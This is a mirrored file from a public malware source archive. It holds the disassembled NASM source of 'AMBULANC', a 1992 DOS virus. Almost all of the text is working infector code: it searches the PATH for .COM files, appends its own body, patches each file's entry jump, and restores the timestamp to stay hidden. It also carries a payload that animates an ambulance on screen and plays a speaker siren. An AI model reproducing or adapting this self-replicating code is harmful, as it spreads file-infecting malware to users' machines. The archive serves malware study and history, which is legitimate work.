mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-24 04:15:26 +00:00
480 lines
11 KiB
NASM
480 lines
11 KiB
NASM
|
|
PAGE 59,132
|
|
|
|
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
|
|
;ÛÛ ÛÛ
|
|
;ÛÛ AMBULANC ÛÛ
|
|
;ÛÛ ÛÛ
|
|
;ÛÛ Created: 13-Feb-92 ÛÛ
|
|
;ÛÛ Passes: 5 Analysis Options on: none ÛÛ
|
|
;ÛÛ ÛÛ
|
|
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
|
|
|
|
data_1e equ 0Ch
|
|
data_2e equ 49h
|
|
data_3e equ 6Ch
|
|
psp_envirn_seg equ 2Ch
|
|
data_20e equ 0C80h
|
|
|
|
seg_a segment byte public
|
|
assume cs:seg_a, ds:seg_a
|
|
|
|
|
|
org 100h
|
|
|
|
ambulanc proc far
|
|
|
|
start:
|
|
jmp loc_1
|
|
db 0
|
|
data_7 dw 0 ; Data table (indexed access)
|
|
db 44 dup (0)
|
|
loc_1:
|
|
;* call sub_1 ;*
|
|
db 0E8h, 01h, 00h
|
|
add [bp-7Fh],bx
|
|
out dx,al ; port 0, DMA-1 bas&add ch 0
|
|
add ax,[bx+di]
|
|
call sub_2
|
|
call sub_2
|
|
call sub_4
|
|
lea bx,[si+419h] ; Load effective addr
|
|
mov di,100h
|
|
mov al,[bx]
|
|
mov [di],al
|
|
mov ax,[bx+1]
|
|
mov [di+1],ax
|
|
jmp di ;*Register jump
|
|
|
|
loc_ret_2:
|
|
retn
|
|
|
|
ambulanc endp
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_2 proc near
|
|
call sub_3
|
|
mov al,byte ptr data_19[si]
|
|
or al,al ; Zero ?
|
|
jz loc_ret_2 ; Jump if zero
|
|
lea bx,[si+40Fh] ; Load effective addr
|
|
inc word ptr [bx]
|
|
lea dx,[si+428h] ; Load effective addr
|
|
mov ax,3D02h
|
|
int 21h ; DOS Services ah=function 3Dh
|
|
; open file, al=mode,name@ds:dx
|
|
mov data_12[si],ax
|
|
mov bx,data_12[si]
|
|
mov cx,3
|
|
lea dx,[si+414h] ; Load effective addr
|
|
mov ah,3Fh ; '?'
|
|
int 21h ; DOS Services ah=function 3Fh
|
|
; read file, bx=file handle
|
|
; cx=bytes to ds:dx buffer
|
|
mov al,data_10[si]
|
|
cmp al,0E9h
|
|
jne loc_3 ; Jump if not equal
|
|
mov dx,data_11[si]
|
|
mov bx,data_12[si]
|
|
add dx,3
|
|
xor cx,cx ; Zero register
|
|
mov ax,4200h
|
|
int 21h ; DOS Services ah=function 42h
|
|
; move file ptr, bx=file handle
|
|
; al=method, cx,dx=offset
|
|
mov bx,data_12[si]
|
|
mov cx,6
|
|
lea dx,[si+41Ch] ; Load effective addr
|
|
mov ah,3Fh ; '?'
|
|
int 21h ; DOS Services ah=function 3Fh
|
|
; read file, bx=file handle
|
|
; cx=bytes to ds:dx buffer
|
|
mov ax,data_13[si]
|
|
mov bx,data_14[si]
|
|
mov cx,data_15[si]
|
|
cmp ax,word ptr ds:[100h][si]
|
|
jne loc_3 ; Jump if not equal
|
|
cmp bx,word ptr ds:[102h][si]
|
|
jne loc_3 ; Jump if not equal
|
|
cmp cx,data_7[si]
|
|
je loc_4 ; Jump if equal
|
|
loc_3:
|
|
mov bx,data_12[si]
|
|
xor cx,cx ; Zero register
|
|
xor dx,dx ; Zero register
|
|
mov ax,4202h
|
|
int 21h ; DOS Services ah=function 42h
|
|
; move file ptr, bx=file handle
|
|
; al=method, cx,dx=offset
|
|
sub ax,3
|
|
mov data_9[si],ax
|
|
mov bx,data_12[si]
|
|
mov ax,5700h
|
|
int 21h ; DOS Services ah=function 57h
|
|
; get file date+time, bx=handle
|
|
; returns cx=time, dx=time
|
|
push cx
|
|
push dx
|
|
mov bx,data_12[si]
|
|
mov cx,319h
|
|
lea dx,[si+100h] ; Load effective addr
|
|
mov ah,40h ; '@'
|
|
int 21h ; DOS Services ah=function 40h
|
|
; write file bx=file handle
|
|
; cx=bytes from ds:dx buffer
|
|
mov bx,data_12[si]
|
|
mov cx,3
|
|
lea dx,[si+414h] ; Load effective addr
|
|
mov ah,40h ; '@'
|
|
int 21h ; DOS Services ah=function 40h
|
|
; write file bx=file handle
|
|
; cx=bytes from ds:dx buffer
|
|
mov bx,data_12[si]
|
|
xor cx,cx ; Zero register
|
|
xor dx,dx ; Zero register
|
|
mov ax,4200h
|
|
int 21h ; DOS Services ah=function 42h
|
|
; move file ptr, bx=file handle
|
|
; al=method, cx,dx=offset
|
|
mov bx,data_12[si]
|
|
mov cx,3
|
|
lea dx,[si+411h] ; Load effective addr
|
|
mov ah,40h ; '@'
|
|
int 21h ; DOS Services ah=function 40h
|
|
; write file bx=file handle
|
|
; cx=bytes from ds:dx buffer
|
|
pop dx
|
|
pop cx
|
|
mov bx,data_12[si]
|
|
mov ax,5701h
|
|
int 21h ; DOS Services ah=function 57h
|
|
; set file date+time, bx=handle
|
|
; cx=time, dx=time
|
|
loc_4:
|
|
mov bx,data_12[si]
|
|
mov ah,3Eh ; '>'
|
|
int 21h ; DOS Services ah=function 3Eh
|
|
; close file, bx=file handle
|
|
retn
|
|
sub_2 endp
|
|
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_3 proc near
|
|
mov ax,ds:psp_envirn_seg
|
|
mov es,ax
|
|
push ds
|
|
mov ax,40h
|
|
mov ds,ax
|
|
mov bp,ds:data_3e
|
|
pop ds
|
|
test bp,3
|
|
jz loc_7 ; Jump if zero
|
|
xor bx,bx ; Zero register
|
|
loc_5:
|
|
mov ax,es:[bx]
|
|
cmp ax,4150h
|
|
jne loc_6 ; Jump if not equal
|
|
cmp word ptr es:[bx+2],4854h
|
|
je loc_8 ; Jump if equal
|
|
loc_6:
|
|
inc bx
|
|
or ax,ax ; Zero ?
|
|
jnz loc_5 ; Jump if not zero
|
|
loc_7:
|
|
lea di,[si+428h] ; Load effective addr
|
|
jmp short loc_13
|
|
loc_8:
|
|
add bx,5
|
|
loc_9:
|
|
lea di,[si+428h] ; Load effective addr
|
|
loc_10:
|
|
mov al,es:[bx]
|
|
inc bx
|
|
or al,al ; Zero ?
|
|
jz loc_12 ; Jump if zero
|
|
cmp al,3Bh ; ';'
|
|
je loc_11 ; Jump if equal
|
|
mov [di],al
|
|
inc di
|
|
jmp short loc_10
|
|
loc_11:
|
|
cmp byte ptr es:[bx],0
|
|
je loc_12 ; Jump if equal
|
|
shr bp,1 ; Shift w/zeros fill
|
|
shr bp,1 ; Shift w/zeros fill
|
|
test bp,3
|
|
jnz loc_9 ; Jump if not zero
|
|
loc_12:
|
|
cmp byte ptr [di-1],5Ch ; '\'
|
|
je loc_13 ; Jump if equal
|
|
mov byte ptr [di],5Ch ; '\'
|
|
inc di
|
|
loc_13:
|
|
push ds
|
|
pop es
|
|
mov data_16[si],di
|
|
mov ax,2E2Ah
|
|
stosw ; Store ax to es:[di]
|
|
mov ax,4F43h
|
|
stosw ; Store ax to es:[di]
|
|
mov ax,4Dh
|
|
stosw ; Store ax to es:[di]
|
|
push es
|
|
mov ah,2Fh ; '/'
|
|
int 21h ; DOS Services ah=function 2Fh
|
|
; get DTA ptr into es:bx
|
|
mov ax,es
|
|
mov data_17[si],ax
|
|
mov data_18[si],bx
|
|
pop es
|
|
lea dx,[si+478h] ; Load effective addr
|
|
mov ah,1Ah
|
|
int 21h ; DOS Services ah=function 1Ah
|
|
; set DTA(disk xfer area) ds:dx
|
|
lea dx,[si+428h] ; Load effective addr
|
|
xor cx,cx ; Zero register
|
|
mov ah,4Eh ; 'N'
|
|
int 21h ; DOS Services ah=function 4Eh
|
|
; find 1st filenam match @ds:dx
|
|
jnc loc_14 ; Jump if carry=0
|
|
xor ax,ax ; Zero register
|
|
mov data_19[si],ax
|
|
jmp short loc_17
|
|
loc_14:
|
|
push ds
|
|
mov ax,40h
|
|
mov ds,ax
|
|
ror bp,1 ; Rotate
|
|
xor bp,ds:data_3e
|
|
pop ds
|
|
test bp,7
|
|
jz loc_15 ; Jump if zero
|
|
mov ah,4Fh ; 'O'
|
|
int 21h ; DOS Services ah=function 4Fh
|
|
; find next filename match
|
|
jnc loc_14 ; Jump if carry=0
|
|
loc_15:
|
|
mov di,data_16[si]
|
|
lea bx,[si+496h] ; Load effective addr
|
|
loc_16:
|
|
mov al,[bx]
|
|
inc bx
|
|
stosb ; Store al to es:[di]
|
|
or al,al ; Zero ?
|
|
jnz loc_16 ; Jump if not zero
|
|
loc_17:
|
|
mov bx,data_18[si]
|
|
mov ax,data_17[si]
|
|
push ds
|
|
mov ds,ax
|
|
mov ah,1Ah
|
|
int 21h ; DOS Services ah=function 1Ah
|
|
; set DTA(disk xfer area) ds:dx
|
|
pop ds
|
|
retn
|
|
sub_3 endp
|
|
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_4 proc near
|
|
push es
|
|
mov ax,data_8[si]
|
|
and ax,7
|
|
cmp ax,6
|
|
jne loc_18 ; Jump if not equal
|
|
mov ax,40h
|
|
mov es,ax
|
|
mov ax,es:data_1e
|
|
or ax,ax ; Zero ?
|
|
jnz loc_18 ; Jump if not zero
|
|
inc word ptr es:data_1e
|
|
call sub_5
|
|
loc_18:
|
|
pop es
|
|
retn
|
|
sub_4 endp
|
|
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_5 proc near
|
|
push ds
|
|
mov di,0B800h
|
|
mov ax,40h
|
|
mov ds,ax
|
|
mov al,ds:data_2e
|
|
cmp al,7
|
|
jne loc_19 ; Jump if not equal
|
|
mov di,0B000h
|
|
loc_19:
|
|
mov es,di
|
|
pop ds
|
|
mov bp,0FFF0h
|
|
loc_20:
|
|
mov dx,0
|
|
mov cx,10h
|
|
|
|
locloop_21:
|
|
call sub_8
|
|
inc dx
|
|
loop locloop_21 ; Loop if cx > 0
|
|
|
|
call sub_7
|
|
call sub_9
|
|
inc bp
|
|
cmp bp,50h
|
|
jne loc_20 ; Jump if not equal
|
|
call sub_6
|
|
push ds
|
|
pop es
|
|
retn
|
|
sub_5 endp
|
|
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_6 proc near
|
|
in al,61h ; port 61h, 8255 port B, read
|
|
and al,0FCh
|
|
out 61h,al ; port 61h, 8255 B - spkr, etc
|
|
; al = 0, disable parity
|
|
retn
|
|
sub_6 endp
|
|
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_7 proc near
|
|
mov dx,7D0h
|
|
test bp,4
|
|
jz loc_22 ; Jump if zero
|
|
mov dx,0BB8h
|
|
loc_22:
|
|
in al,61h ; port 61h, 8255 port B, read
|
|
test al,3
|
|
jnz loc_23 ; Jump if not zero
|
|
or al,3
|
|
out 61h,al ; port 61h, 8255 B - spkr, etc
|
|
mov al,0B6h
|
|
out 43h,al ; port 43h, 8253 wrt timr mode
|
|
loc_23:
|
|
mov ax,dx
|
|
out 42h,al ; port 42h, 8253 timer 2 spkr
|
|
mov al,ah
|
|
out 42h,al ; port 42h, 8253 timer 2 spkr
|
|
retn
|
|
sub_7 endp
|
|
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_8 proc near
|
|
push cx
|
|
push dx
|
|
lea bx,[si+3BFh] ; Load effective addr
|
|
add bx,dx
|
|
add dx,bp
|
|
or dx,dx ; Zero ?
|
|
js loc_26 ; Jump if sign=1
|
|
cmp dx,50h
|
|
jae loc_26 ; Jump if above or =
|
|
mov di,data_20e
|
|
add di,dx
|
|
add di,dx
|
|
sub dx,bp
|
|
mov cx,5
|
|
|
|
locloop_24:
|
|
mov ah,7
|
|
mov al,[bx]
|
|
sub al,7
|
|
add al,cl
|
|
sub al,dl
|
|
cmp cx,5
|
|
jne loc_25 ; Jump if not equal
|
|
mov ah,0Fh
|
|
test bp,3
|
|
jz loc_25 ; Jump if zero
|
|
mov al,20h ; ' '
|
|
loc_25:
|
|
stosw ; Store ax to es:[di]
|
|
add bx,10h
|
|
add di,9Eh
|
|
loop locloop_24 ; Loop if cx > 0
|
|
|
|
loc_26:
|
|
pop dx
|
|
pop cx
|
|
retn
|
|
sub_8 endp
|
|
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_9 proc near
|
|
push ds
|
|
mov ax,40h
|
|
mov ds,ax
|
|
mov ax,ds:data_3e
|
|
loc_28:
|
|
cmp ax,ds:data_3e
|
|
je loc_28 ; Jump if equal
|
|
pop ds
|
|
retn
|
|
sub_9 endp
|
|
|
|
and ah,[bp+di]
|
|
and al,25h ; '%'
|
|
db 26h, 27h, 28h, 29h, 66h, 87h
|
|
db 3Bh, 2Dh, 2Eh, 2Fh, 30h, 31h
|
|
db 23h,0E0h,0E1h,0E2h,0E3h,0E4h
|
|
db 0E5h,0E6h,0E7h,0E7h,0E9h,0EAh
|
|
db 0EBh
|
|
db 30h
|
|
data_8 dw 3231h ; Data table (indexed access)
|
|
db 24h
|
|
data_9 dw 0E1E0h ; Data table (indexed access)
|
|
data_10 db 0E2h ; Data table (indexed access)
|
|
data_11 dw 0E8E3h ; Data table (indexed access)
|
|
data_12 dw 0EA2Ah ; Data table (indexed access)
|
|
db 0E7h,0E8h,0E9h
|
|
data_13 dw 302Fh ; Data table (indexed access)
|
|
data_14 dw 326Dh ; Data table (indexed access)
|
|
data_15 dw 2533h ; Data table (indexed access)
|
|
data_16 dw 0E2E1h ; Data table (indexed access)
|
|
data_17 dw 0E4E3h ; Data table (indexed access)
|
|
data_18 dw 0E7E5h ; Data table (indexed access)
|
|
data_19 dw 0E8E7h ; Data table (indexed access)
|
|
db 0E9h,0EAh,0EBh,0ECh,0EDh,0EEh
|
|
db 0EFh, 26h,0E6h,0E7h, 29h, 59h
|
|
db 5Ah, 2Ch,0ECh,0EDh,0EEh,0EFh
|
|
db 0F0h, 32h, 62h, 34h,0F4h, 0Ah
|
|
db 00h,0E9h, 2Fh, 00h,0CDh, 20h
|
|
db 00h, 05h, 00h,0CDh, 20h, 00h
|
|
|
|
seg_a ends
|
|
|
|
|
|
|
|
end start
|